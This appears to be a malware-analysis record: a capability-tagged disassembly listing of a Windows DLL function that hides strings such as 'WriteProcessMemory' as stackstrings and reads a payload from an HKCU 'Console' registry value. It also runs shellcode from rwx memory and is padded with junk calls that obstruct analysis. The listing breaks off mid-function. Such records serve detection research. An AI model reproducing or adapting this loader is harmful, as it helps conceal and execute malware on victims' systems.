Function at 0x1800018d0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute shellcode via indirect call
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov qword [rbp + 7], 0xfffffffffffffffe
call fcn.1800010e0
test eax, eax
je 0x1800018f9
call fcn.180001050
call fcn.180001190
test eax, eax
je 0x180001907
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001915
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001923
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001931
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x18000193f
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x18000194d
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x18000195b
call fcn.180001240
call fcn.1800012f0
test eax, eax
je 0x180001969
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001977
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001985
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001993
call fcn.1800012f0
call fcn.180001190
test eax, eax
je 0x1800019a1
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x1800019af
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x1800019bd
call fcn.180001050
call fcn.1800013a0
test eax, eax
je 0x1800019cb
call fcn.1800010e0
call fcn.180001190
test eax, eax
je 0x1800019d9
call fcn.1800010e0
call fcn.180001050
test eax, eax
je 0x1800019e7
call fcn.180001240
call fcn.1800010e0
test eax, eax
je 0x1800019f5
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001a03
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001a11
call fcn.180001050
call fcn.180001190
test eax, eax
je 0x180001a1f
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001a2d
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001a3b
call fcn.180001050
call fcn.1800012f0
test eax, eax
je 0x180001a49
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001a57
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001a65
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001a73
call fcn.1800012f0
call fcn.180001050
test eax, eax
je 0x180001a81
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x180001a8f
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x180001a9d
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180001aab
call fcn.180001500
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x180001b03
mov dword [rbp - 0x69], 0x74697257
mov dword [rbp - 0x65], 0x6f725065
mov dword [rbp - 0x61], 0x73736563
mov dword [rbp - 0x5d], 0x6f6d654d
mov word [rbp - 0x59], 0x7972
mov byte [rbp - 0x57], 0
lea rdx, [rbp - 0x69]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800154a8], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [rbp - 9], 0xf
xor r12d, r12d
mov qword [rbp - 0x11], r12
mov byte [rbp - 0x21], r12b
lea edx, [r12 + 0xc]
lea rcx, [rbp - 0x21]
call fcn.180003bf0
nop
lea rdx, [rbp - 0x21]
lea rcx, [rbp + 0xf]
call fcn.180001780
nop
cmp qword [rbp - 9], 0x10
jb 0x180001b43
mov rcx, qword [rbp - 0x21]
call fcn.1800049f8
mov qword [rbp - 9], 0xf
mov qword [rbp - 0x11], r12
mov byte [rbp - 0x21], 0
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x49]
call fcn.1800018b0
nop
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180001050
test eax, eax
je 0x180001b7a
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001b88
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001b96
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001ba4
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001bb2
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001bc0
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001bce
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001bdc
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180001bea
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001bf8
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001c06
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001c14
call fcn.1800012f0
call fcn.180001240
test eax, eax
je 0x180001c22
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180001c30
call fcn.180001050
call fcn.1800013a0
test eax, eax
je 0x180001c3e
call fcn.1800010e0
call fcn.180001450
test eax, eax
je 0x180001c4c
call fcn.180001190
call fcn.180001050
test eax, eax
je 0x180001c5a
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001c68
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001c76
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001c84
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001c92
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001ca0
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001cae
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001cbc
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180001cca
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001cd8
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001ce6
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001cf4
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x180001d02
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x180001d10
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180001d1e
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180001d2c
call fcn.180001050
mov dword [rbp + 0x7f], 0x736e6f43
mov dword [rbp + 0x83], 0x656c6f
lea rax, [rbp - 0x51]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rbp + 0x7f]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x77], r12d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180001050
test eax, eax
je 0x180001d7d
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001d8b
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001d99
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001da7
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001db5
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001dc3
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001dd1
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001ddf
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180001ded
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001dfb
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001e09
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001e17
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x180001e25
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x180001e33
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180001e41
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180001e4f
call fcn.180001050
lea rdx, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae rdx, qword [rbp - 0x49]
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x77]
call fcn.1800041c8
mov rbx, rax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1800010e0
test eax, eax
je 0x180001e9f
call fcn.180001050
call fcn.180001190
test eax, eax
je 0x180001ead
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001ebb
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001ec9
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001ed7
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001ee5
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001ef3
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001f01
call fcn.180001240
call fcn.1800012f0
test eax, eax
je 0x180001f0f
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001f1d
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001f2b
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001f39
call fcn.1800012f0
call fcn.180001050
test eax, eax
je 0x180001f47
call fcn.180001450
call fcn.1800010e0
test eax, eax
je 0x180001f55
call fcn.180001500
call fcn.180001190
test eax, eax
je 0x180001f63
call fcn.1800012f0
call fcn.180001240
test eax, eax
je 0x180001f71
call fcn.1800013a0
lea rdx, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae rdx, qword [rbp - 0x49]
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x77]
call fcn.1800041c8
mov rsi, rax
call fcn.180001240
test eax, eax
je 0x180001fb6
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001fc4
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001fd2
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001fe0
call fcn.1800010e0
call fcn.180001190
test eax, eax
je 0x180001fee
call fcn.1800010e0
call fcn.180001050
test eax, eax
je 0x180001ffc
call fcn.180001240
call fcn.1800010e0
test eax, eax
je 0x18000200a
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180002018
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180002026
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180002034
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180002042
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180002050
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x18000205e
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x18000206c
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x18000207a
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180002088
call fcn.180001050
cmp dword [rbp + 0x77], 0
jbe 0x1800020b5
mov rdx, rsi
sub rbx, rsi
mov r8, rsi
neg r8
nop word [rax + rax]
movzx eax, byte [rbx + rdx]
mov byte [rdx], al
inc rdx
lea rcx, [r8 + rdx]
mov eax, dword [rbp + 0x77]
cmp rcx, rax
jb 0x1800020a0
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp + 0x67], 0x38
mov dword [rbp + 0x6f], 0x11
mov ecx, dword [rbp + 0x67]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x1800020f8
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 2
jle 0x18000214c
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 5
jge 0x18000213f
nop dword [rax + rax]
inc dword [rbp + 0x67]
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
add dword [rbp + 0x6f], 3
add dword [rbp + 0x67], 3
mov eax, dword [rbp + 0x67]
cmp eax, 5
jl 0x180002120
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x18000214c
call fcn.1800010e0
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x18000216b
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x18000217e
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x1800021ca
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x1800021bd
nop dword [rax]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
inc dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 2
jl 0x1800021a0
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x1800021ca
call fcn.180001240
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x180002201
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x180002248
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 3
jge 0x18000223e
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
dec dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 3
jl 0x180002221
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
test eax, eax
je 0x18000224d
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x18000225b
call fcn.1800010e0
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x180002292
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x1800022d9
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 3
jge 0x1800022cf
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
dec dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 3
jl 0x1800022b2
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
test eax, eax
je 0x180002353
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x1800022f8
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x18000230b
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x180002353
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x18000234d
mov dword [rbp + 0x67], 0x38
mov dword [rbp + 0x6f], 0x11
mov ecx, dword [rbp + 0x67]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x18000238c